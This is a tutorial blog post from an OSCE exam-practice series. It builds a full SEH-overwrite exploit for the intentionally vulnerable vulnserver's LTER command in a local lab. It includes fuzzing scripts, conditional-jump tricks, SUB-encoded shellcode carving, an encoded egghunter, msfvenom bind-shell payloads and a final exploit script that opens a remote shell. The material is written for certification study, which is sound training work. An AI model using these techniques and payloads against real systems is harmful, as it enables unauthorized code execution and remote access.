Tags: osce, vulnserver, windbg, boofuzz, sub, encoder, opt_sub, carving, shellcode
In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).
DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!
Other posts in the series:
Welcome to part nine in our OSCE exam practice series! In this installment, we’ll revisit vulnserver’s LTER command. This time, we’ll have to wriggle out of a tight corner and then do some encoding gymnastics to get our stage-2 to run.
We covered a few of this exploit’s obstacles in our previous post, so let’s recap what we still need to know before jumping in.
Images of addresses may have discrepencies throughout this post, because I wrote it over the course of a week or more. Don’t mind the actual addresses so much as their offsets. The offsets should remain the same, whereas base addresses can and will change.
Here we have the test cases and fuzz data found previously.
109: "deadbeef" * 750
374: '"' * 4100
376: '"' * 4102
335: '"' * 32775
345: '"' * 100005
249: "<" * 20005
253: "<" * 100005
8: "\\*"
We’re dealing with a restricted character set of 0x01
through 0x80
. The results of our bad character finding template are shown below.
0x01
through 0x7f
make it through unharmed. Then, there’s effectively a modulo operation happening that keeps any bytes sent within that same range (with the exception of 0xff
which gets transformed into 0x80
)
The x86/alpha_mixed
encoder (and others) shipped with Metasploit includes non-alphanumeric opcodes. We can use the BUFFERREGISTER
variable to remove those opcodes, as long as we have a register that points directly to the start of our shellcode.
Ok, we touched on the few relevant pieces of information from part eight; let’s begin!
Increasing our fuzz value length from ~3000 to 4000 is enough to trigger the Structured Exception Handler.
1import struct
2import socket
3
4VULNSRVR_CMD = b"LTER " # change me
5CRASH_LEN = 4005 # change me
6
7target = ("127.0.0.1", 9999) # vulnserver
8
9payload = VULNSRVR_CMD
10payload += b"\xde\xad\xbe\xef" * (CRASH_LEN // 4)
11
12with socket.create_connection(target) as sock:
13 sock.recv(512) # Welcome to Vulnerable Server! ...
14
15 sent = sock.send(payload)
16 print(f"sent {sent} bytes")
After throwing the exploit, we’re presented with the information below.
We can see that we’re dealing with an SEH overwrite. Additionally, we see the same mangling discussed in part eight and reviewed above.
Similar to part eight, we’ll prepend \xde\xad\xbe\xef
to our cyclic pattern in order to find our offset.
9-------------8<-------------
10payload = VULNSRVR_CMD
11payload += b"\xde\xad\xbe\xef"
12payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A..."
13-------------8<-------------
Huzzah, a crash!
Let’s allow mona to do some of the heavy lifting. This time around, we know that we’ll need an ascii-compliant pop-pop-ret gadget, so we can use the -cp ascii
filter.
!py mona suggest -t tcpclient:9999 -cp ascii
════════════════════════════════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py suggest -t tcpclient:9999 -cp ascii
-------------8<-------------
[+] Examining SEH chain
SEH record (nseh field) at 0x018bffc4 overwritten with normal pattern : 0x326e4531 (offset 3515), followed by 52 bytes of cyclic data after the handler
-------------8<-------------
'Targets' =>
[
[ '<fill in the OS/app version here>',
{
'Ret' => 0x6250120b, # pop ecx # pop ecx # ret - essfunc.dll
'Offset' => 3515
}
],
],
-------------8<-------------
Nice! We now know the following:
Using the information gained from mona’s suggest
command, we can update our find-offset template again to confirm the overwrite’s location.
9-------------8<-------------
10payload = VULNSRVR_CMD
11payload += b"\xde\xad\xbe\xef"
12# payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9..."
13
14# Then use the structure below to confirm the offset
15payload += b"A" * OFFSET
16payload += b"B" * 4 # nSEH
17payload += b"C" * 4 # SEH
18payload += b"D" * (CRASH_LEN - len(payload))
19-------------8<-------------
Nice! We’ve got our offsets in place.
We’re ready to take our jump backwards into our buffer, however we have another problem. Normally we’d use an unconditional jump, such as the one below.
payload += "\xeb\x80\x90\x90"
Unfortunately, \xeb
will get mangled into some other byte. We need a way to jump, without using \xeb
. If we take a look at conditional jumps using this quick reference, we see that all of the short jump opcodes are within our allowable range with the exception of one. Let’s focus on JO/JNO which are instructions to jump if the overflow flag is set or unset, respectively.
It’s natural to wonder how we’ll know if the flag is set or not, i.e. which condition we should use. Well, we’re going to stack the deck in our favor and use both! We have four bytes to work with, so we can fit two conditional short jumps in that space; neat right?
Our conditionals in pseudocode look like what is shown below. If the flag is set, we’ll jump and never evaluate the second condition. If the flag isn’t set, the first condition’s code block won’t execute and we’ll fall through to the second, where we’ll jump.
if (flag_is_set)
{
jump -128 bytes
}
if (flag_is_not_set)
{
jump -128 bytes
}
Once we update our PoC and run it, we see the assembly below.
If we step twice (the overflow flag is not set), we jump backwards into our attacker-controlled buffer; nice!
Now that we have a little breathing room, we need to create some more. We ultimately want to jump back far enough to insert an encoded egghunter. The encoding process (discussed below) increases the egghunter’s size significantly. Additionally, we’ll be inserting the unencoded payload directly in line with our execution flow, so we’ll need room for both the encoded and unencoded payloads.
Before we create the shellcode for our second negative jump, we need to detour off into the land of manual encoding using SUB instructions. Once the theory is covered, we’ll look at some tooling available to automate the process. We’ll use two different automated tools; one for the second negative jump and another for the egghunter.
In order to get our egghunter executed, we’ll be using a technique called Shellcode Carving in conjunction with SUB Encoding. I highly recommend reading Carving Shellcode Using Restrictive Character Sets by vellosec; it’s the best resource I was able to find when learning how this all worked.
Below, we’ll cover enough to know what’s happening, but vellosec’s post goes into greater detail and should be considered a must-read if this is new material for you.
Let’s run through the high-level steps we’ll take to encode our payload.
The resulting 2-3 SUB instructions are essentially the encoded form of the original 4-byte chunk.
We’ll work through the same example bytes that vellosec used, as they’re the first bytes from our egghunter that will get encoded. As a reminder, here’s the last four bytes of our egghunter.
"\x75\xe7\xff\xe7"
When we reverse those bytes, they end up looking like what’s below. We reverse the bytes because of how we plan to carve them into memory. We push each chunk onto the stack, so they need to be in reverse order to be executed properly.
"\xe7\xff\xe7\x75"
Next, we need to get the two’s complement of our chunk. There are a few ways to get the two’s complement; we’ll look at two of them.
One is some simple math in python.
>>> hex(0xffffffff - 0xe7ffe775 + 1)
'0x1800188b'
The other is using the windows calculator.
The sign change key performs two’s complement on the displayed value.
So, the two’s complement of our chunk is 0x1800188b
. This is the value from which we’ll start subtracting. Recall from our overview that we want to start from the Least Significant Byte (LSB). Also, let’s assume that we’ll use 3 SUB instructions for this chunk. Let’s begin.
Our LSB is 0x8b
. We need to come up with 3 bytes that are valid characters (0x01
- 0x80
) and when added together equal 0x8b
. Vellosec chose 0x42
, 0x42
, and 0x07
, and so will we!
>>> 0x8b == 0x42 + 0x42 + 0x07
True
Since 0x8b
is our LSB, we have the beginnings of our SUB instructions (below).
sub eax, xxYYzz42
sub eax, XXyyZZ42
sub eax, xxYYzz07
Let’s go through the next byte, which is 0x18
. The bytes we’ll choose to add up our new byte are 0x14
, 0x02
, and 0x02
.
>>> 0x18 == 0x14 + 0x02 + 0x02
True
And another column in our SUB instructions fills in.
sub eax, xxYY1442
sub eax, XXyy0242
sub eax, xxYY0207
You’ve probably got the idea by now, but let’s proceed until this chunk is complete. Our next byte is 0x00
… now what? We need to change 0x00
to 0x100
, and then do the same steps. The bytes we’ll use to add up to 0x100
are 0x5e
, 0x50
, and 0x52
.
>>> 0x100 == 0x5e + 0x50 + 0x52
True
The third column in our SUB instructions is complete; nice.
sub eax, xx5e1442
sub eax, XX500242
sub eax, xx520207
We have one more byte to calculate, 0x18
. For this byte, we’ll use 0x15
, 0x01
and 0x01
.
>>> 0x18 == 0x15 + 0x01 + 0x01
False
Hol’ up, those values don’t add up to 0x18
! However, because we had a 0x00
in the preceding column, there is an implicit 0x01
already in our values. What we actually have is more like this:
>>> 0x18 == 0x15 + 0x01 + 0x01 + 0x01
True
With those calculations complete, we have our 3 SUB instructions that when executed on a zero’d out register will place 0xe7ffe775
into that register.
sub eax, 0x155e1442
sub eax, 0x01500242
sub eax, 0x01520207
Below, we see the sub instructions in action on trusty old calc.exe. Notice that Hex and Dword are both selected. We start at zero, subtracting each value in turn to arrive at our desired instructions.
Even though vellosec’s coverage of this topic was easily the best I found, I still had difficulty initially with their choice of visual representation of the bytes and how they’re operated upon. I’m including the images below in the hopes that if what’s above isn’t clear, what’s below will be.
More of the same math
And a pretty chart!
You thought our detour was over? Not yet! We still have to know how to get our manually encoded bytes to a place where they’ll be executed. With that goal in mind, we’ll look to shellcode carving.
Shellcode carving in conjunction with our SUB encoded shellcode will allow us to execute instructions. Similar to our section on manual encoding, let’s take a look at the general steps. Afterwards, we’ll use our second negative jump as an example.
It seems simple, but there are a few considerations that can easily trip us up. We’ll attempt to cover all the potential stumbling points as we go through the process.
First up, we need to adjust the stack. Recall that our starting location is the point at which we land after our short jump from nSEH.
The stack (ESP) currently points to 0x018beca4
and EIP points to 0x018bff48
. We need to move ESP so that it points to ESP + 0x1310
, which is EIP + 0x6c
. To accomplish that, we’ll perform the following steps.
Store the value of ESP in EAX
push esp ; 54
pop eax ; 58
Adjust EAX so that it points to an address that we’ll eventually execute (done using 3 SUB instructions made up of valid exploit characters)
sub eax,0x7f3e2c22 ; 2d 22 2c 3e 7f
sub eax,0x37626270 ; 2d 70 62 62 37
sub eax,0x495f5e5e ; 2d 5e 5e 5f 49
Store the adjusted value back into ESP, putting the top of the stack “in our way”
push eax ; 50
pop esp ; 5c
Here’s what that all looks like in windbg.
Things to keep in mind when selecting an offset (aka, things I messed up at some point):
Ok, the stack is adjusted. Now what? Recall that our SUB instructions for putting our shellcode onto our new stack rely on the register being 0
before subtracting. That means we’ll need to zero out EAX before we can do anything else. There are many ways to zero out a register, but the number available to us is reduced based on what characters are allowed.
The common method is to use two AND instructions. As this is what you’re likely to see in tooling, we’ll examine this method. However, a combination of an AND and an XOR is conceptually simpler, in my opinion. So that’s another potential route.
In order to use 2 AND instructions to zero out a register, we need to understand what AND is doing. On the bit level, each bit in both operands is put through an AND function, with the result stored in the left operand.
All we need to do is select two 4-byte values that, on the binary level, don’t have a 1
in the same place as the other. We’ll use 0x41243050
and 0x2A4A4A2A
.
When we convert them to binary (windows calc strikes again!), we can see that they don’t have any overlapping 1
’s. Additionally, all the bytes are valid for our exploit.
0x41243050 - 1000001001001000011000001010000
0x2A4A4A2A - 0101010010010100100101000101010
Here are our instructions.
and eax, 0x41243050
and eax, 0x2a4a4a2a
This strategy works because regardless of the original value in EAX, after the first AND operation we’ll be left with either 0x41243050
or some other number. The special thing about any other resulting number is that it’s guaranteed to not have any 1
’s in any of the places that 0x41243050
had 0
’s.
With a zeroed register, we can now use our SUB-based encoding method to get 4 bytes of our shellcode into EAX. We haven’t really discussed what we plan on doing, other than it’s a negative jump. In order to give ourselves enough room to work with, we’re going to jump backwards 0x250
bytes. Here are our instructions that will need to be encoded.
push esp ; 54
pop eax ; 58
sub ax,0x250 ; 662D5002
jmp eax ; FFE0
Based on the steps above, we arrive at the following SUB instructions for our first 4-byte chunk of shellcode.
sub eax, 0x272a785a ; 2d 5a 78 2a 27
sub eax, 0x27227b73 ; 2d 73 7b 22 27
sub eax, 0x21227b53 ; 2d 53 7b 22 21
Which will result in 0x909090e0
being stored in EAX.
One could make the argument that we don’t need to encode anything in our second negative jump except the
jmp eax
, and they’d be right. However, we have plenty of space in the buffer and want to work through the process more than anything. This could absolutely be optimized for size.
Our last step is to push EAX onto the stack. Here’s what our first encoded chunk being carved looks like.
That’s it for carving really. The rest of it is the same process repeated over and over until the shellcode is all inline with your execution flow.
We made a detour to learn about manually encoding bytes and shellcode carving. Now we have enough theory under our belt to understand what the upcoming tools are doing for us! Let’s jump back into building our exploit code. Below is what we’d like our final exploit structure to be.
We left off with our second negative jump after encoding s single instruction + 3 NOPs. That’s because we’re not going to manually encode the entire jump; we’re going to let a tool do the work for us! The tool we’ll be using is the Automatic ASCII Shellcode Subtraction Encoder written by EAugustoAnalysis.
I can’t say that I’m super thrilled with the length of the name, but it’s certainly descriptive. More importantly, it’s very effective. We can feed it our shellcode and it will spit out SUB encoded instructions. Additionally, we can give it stack adjustment offsets and it will take care of that also! Let’s see what our stack adjustment and second negative jump look like by running the encoder.
python opt_encoder.py -s 54582d50020000ffe0 -p -m -e 0x018beca4,0x018bffb4
══════════════════════════════════════════════════════════════════════════
Automatic ASCII Shellcode Subtraction Encoder
Optimized Algorithm, SUB as few times as possible
Written by Elias Augusto
Based on BUGTREE's z3ncoder, a single address subtraction encoder
-------------8<-------------
Shellcode length: 102
Shellcode Output:
scbuf ="\x25\x50\x30\x24\x41\x25\x2a\x4a\x4a\x2a\x54\x58\x2d\x22\x2c\x3e"
scbuf+="\x7f\x2d\x70\x62\x62\x37\x2d\x5e\x5e\x5f\x49\x50\x5C\x25\x50\x30"
scbuf+="\x24\x41\x25\x2a\x4a\x4a\x2a\x2d\x5a\x78\x2a\x27\x2d\x73\x7b\x22"
scbuf+="\x27\x2d\x53\x7b\x22\x21\x50\x25\x50\x30\x24\x41\x25\x2a\x4a\x4a"
scbuf+="\x2a\x2d\x72\x37\x6f\x27\x2d\x4a\x7f\x6f\x5f\x2d\x42\x49\x21\x7a"
scbuf+="\x50\x25\x50\x30\x24\x41\x25\x2a\x4a\x4a\x2a\x2d\x7f\x7f\x76\x30"
scbuf+="\x2d\x2d\x28\x5c\x7f\x50"
There we go, a freshly encoded stack adjustment and jump! Let’s add it to our payload.
1# push esp
2# pop eax
3# sub eax,0x250
4# jmp eax
5# python opt_encoder.py -s 54582d50020000ffe0 -p -m -e 0x018beca4,0x018bffb4
6# removed the first 2 AND instructions as push esp; pop eax doesn't need a zero'd eax register
7# Shellcode length: 92
8second_neg_jump = b"\x54\x58\x2d\x22\x2c\x3e"
9second_neg_jump += b"\x7f\x2d\x70\x62\x62\x37\x2d\x5e\x5e\x5f\x49\x50\x5C\x25\x50\x30"
10second_neg_jump += b"\x24\x41\x25\x2a\x4a\x4a\x2a\x2d\x5a\x78\x2a\x27\x2d\x73\x7b\x22"
11second_neg_jump += b"\x27\x2d\x53\x7b\x22\x21\x50\x25\x50\x30\x24\x41\x25\x2a\x4a\x4a"
12second_neg_jump += b"\x2a\x2d\x72\x37\x6f\x27\x2d\x4a\x7f\x6f\x5f\x2d\x42\x49\x21\x7a"
13second_neg_jump += b"\x50\x25\x50\x30\x24\x41\x25\x2a\x4a\x4a\x2a\x2d\x7f\x7f\x76\x30"
14second_neg_jump += b"\x2d\x2d\x28\x5c\x7f\x50"
After taking our second negative jump (nearly 600 bytes), we arrive at a location that is more than far away enough from the end of our buffer for us to insert an encoded egghunter.
Things to keep in mind when taking a jump (aka, things I messed up at some point):
0xSOME_ADDR % 4 == 0
). A misaligned stack is akin to a gremlin making seemingly correct shellcode not work.Now that we have the room, we need to encode our egghunter and carve it into memory. Instead of using the encoder we used for the second jump, we’re going to use msfvenom
instead. There’s no real reason for the switch, other than to explore different tooling. Additionally, OJ Reeves (author of the sub_opt encoder we’ll use) wrote a SUB encoder that produces significantly smaller encoded shellcode than any of the other tools I tried. Let’s begin.
To begin, we need an egghunter. More specifically, we need a binary egghunter. We can spin up mona for yet another egghunter snippet.
!py mona egg -t c0d3
════════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py egg -t c0d3
[+] Egg set to c0d3
[+] Generating traditional 32bit egghunter code
[+] Preparing output file 'egghunter.txt'
- Creating working folder c:\monalogs\vulnserver_2020
- Folder created
- (Re)setting logfile c:\monalogs\vulnserver_2020\egghunter.txt
[+] Egghunter (33 bytes):
"\x41\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a"
"\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff"
"\xe7"
We need to write those bytes to a file as binary. The simplest way I know of is to use python.
>>> to_file = b"\x41\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a"
>>> to_file += b"\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
>>> f = open('binary-egghunter.bin', 'wb')
>>> f.write(to_file)
33
>>> f.close()
With that complete, we can fire up 010 to confirm that everything looks correct.
All looks well, let’s encode it!
In order to encode our egghunter, we’ll use the x86/opt_sub
encoder. opt_sub is an optimized version of the SUB encoding process we discussed earlier. It will not reset EAX to zero unless absolutely necessary, which helps reduce the payload by 10 bytes for every 4-byte chunk.
Just like we did above, the opt_sub encoder will attempt to adjust the stack. Given a 33 byte payload (the egghunter), opt_sub placed ESP at ESP + 0xbd
. Unfortunately for us, that address points off into The Upside Down.
Luckily, there’s a way to specify a desired offset! If we look at the source, we see that there are two variables we need to define in order to successfully encode our egghunter.
-------------8<-------------
OptString.new( 'ValidCharSet', [ false, "Specify a known set of valid chars (ALPHA, ALPHANUM, FILEPATH)" ]),
-------------8<-------------
# get the offset from the specified base register, or default to zero if not specifed
reg_offset = (datastore['BufferOffset'] || 0).to_i
-------------8<-------------
To select an offset, we simply need to leave enough room for our decoded egghunter and the encoded payload. It also needs to sit between where we landed after our second jump, and the instructions that performed said jump.
We currently sit at ESP - 0x250
. Our second jump was 92 bytes, and decoded into 8 bytes. We left about 10 bytes of wiggle room in between the two, so as long as we place ESFP above ESP - 0x6e
, we should be good to go.
Because we have so much room in between our two instruction sets at the moment, we can allow for much more slop than normal. We’ll use ESP - 0x129
as our offset.
0x129 was selected because the first value chosen caused the stack to be misaligned (not evenly divisible by 4)
The ValidCharSet
variable is pretty simple to choose, as the 3 options are listed for us. For those curious about the different choices, here’s the relevant ruby.
SET_ALPHA = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
SET_SYM = '!@#$%^&*()_+\\-=[]{};\'":<>,.?/|~'
SET_NUM = '0123456789'
SET_FILESYM = '()_+-=\\/.,[]{}@!$%^&='
CHAR_SET_ALPHA = SET_ALPHA + SET_SYM
CHAR_SET_ALPHANUM = SET_ALPHA + SET_NUM + SET_SYM
CHAR_SET_FILEPATH = SET_ALPHA + SET_NUM + SET_FILESYM
With the two variables chosen, we’re free to finally encode!
There are two different ways to encode a file with msfvenom. We’ll use the generic/custom
payload, however cat binary-file | msfvenom -e x86/sub_opt ...
is also a valid method.
msfvenom -p generic/custom PAYLOADFILE=./binary-egghunter.bin -e x86/opt_sub VALIDCHARSET=ALPHANUM BUFFEROFFSET=-297 -f python -v encoded_egg --platform windows --arch x86
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/opt_sub
x86/opt_sub succeeded with size 157 (iteration=0)
x86/opt_sub chosen with final size 157
Payload size: 157 bytes
Final size of python file: 932 bytes
encoded_egg = b""
encoded_egg += b"\x54\x58\x2d\x2a\x7e\x7d\x7d\x2d\x21\x61\x61"
encoded_egg += b"\x61\x2d\x21\x21\x21\x21\x50\x5c\x25\x21\x21"
encoded_egg += b"\x21\x21\x25\x40\x40\x40\x40\x2d\x49\x7e\x7d"
encoded_egg += b"\x7e\x2d\x21\x79\x61\x78\x2d\x21\x21\x21\x21"
encoded_egg += b"\x50\x2d\x7e\x2f\x7e\x7e\x2d\x27\x21\x76\x7e"
encoded_egg += b"\x2d\x21\x21\x21\x3b\x50\x2d\x7e\x7e\x7e\x72"
encoded_egg += b"\x2d\x7e\x7e\x7e\x21\x2d\x4f\x45\x62\x21\x50"
encoded_egg += b"\x2d\x33\x38\x7e\x7e\x2d\x21\x21\x7e\x2a\x2d"
encoded_egg += b"\x21\x21\x2b\x21\x50\x2d\x71\x71\x7e\x79\x2d"
encoded_egg += b"\x21\x21\x6a\x21\x2d\x21\x21\x21\x21\x50\x2d"
encoded_egg += b"\x7e\x6a\x4a\x7e\x2d\x7e\x21\x21\x7e\x2d\x3e"
encoded_egg += b"\x21\x21\x49\x50\x2d\x7e\x7e\x38\x7e\x2d\x54"
encoded_egg += b"\x76\x21\x25\x2d\x21\x21\x21\x21\x50\x2d\x67"
encoded_egg += b"\x7e\x45\x28\x2d\x21\x21\x21\x21\x2d\x21\x21"
encoded_egg += b"\x21\x21\x50"
The command above produces the assembly below. We can see that the stack is adjusted then the payload is pushed onto the new stack; nice!
Things to keep in mind when using BUFFEROFFSET (aka, things I messed up at some point):
We’re almost done, we just need to encode our bind shell. If you missed our discussion about msfvenom’s x86/alpha_mixed
encoder producing non-alphanumeric instructions, check it out in Part VIII - Payload Encoding.
The gist of it is this: we need to specify a register that points to our bind shell. Fortunately for us, the last instruction of our egghunter is jmp edi
. As long as our egg is found, EDI is guaranteed to point at our shellcode. Knowing that, we can use the following command for encoding.
msfvenom -p windows/shell_bind_tcp -e x86/alpha_mixed BUFFERREGISTER=edi LPORT=12345 EXITFUNC=thread -f python -v shellcode
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 710 (iteration=0)
x86/alpha_mixed chosen with final size 710
Payload size: 710 bytes
Final size of python file: 3962 bytes
shellcode = b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
-------------8<-------------
With all of our instructions ready, we need to finalize our payload.
121second_jump_offset = 3391
122encoded_egg_offset = 2904
123cmd_offset = len(VULNSRVR_CMD) + len(b"\xde\xad\xbe\xef")
124
125payload = VULNSRVR_CMD
126payload += b"\xde\xad\xbe\xef"
127payload += b"c0d3c0d3"
128payload += shellcode
129payload += b"A" * (encoded_egg_offset - len(payload) + cmd_offset)
130payload += encoded_egg
131payload += b"B" * (second_jump_offset - len(payload) + cmd_offset)
132payload += second_neg_jump
133payload += b"C" * (OFFSET - len(payload) + cmd_offset)
134payload += b"\x70\xff\x71\xff" # nSEH
135payload += struct.pack("<I", 0x6250172b) # SEH
136payload += b"D" * (CRASH_LEN - len(payload))
If all goes well when we throw the code above, we should see a listener on port 12345 open up.
nc -vn 127.0.0.1 12345
══════════════════════
(UNKNOWN) [127.0.0.1] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\vagrant\Downloads\vulnserver-master>
On encoders, both SUB encoding tools discussed are valid choices. I think there are two primary determining factors for selection. If size is a concern, you almost certainly want to use opt_sub. If you want something intuitive that “just works”, the Automatic Ascii encoder is probably the way to go. Automatic Ascii’s way of specifying the stack offset is much simpler than opt_sub, which makes it attractive from a usability perspective.
Thanks for taking the time to step through w/e content in this series you read! It’s my hope that these writeups help you in some way. I may do one more in this series, but I may not.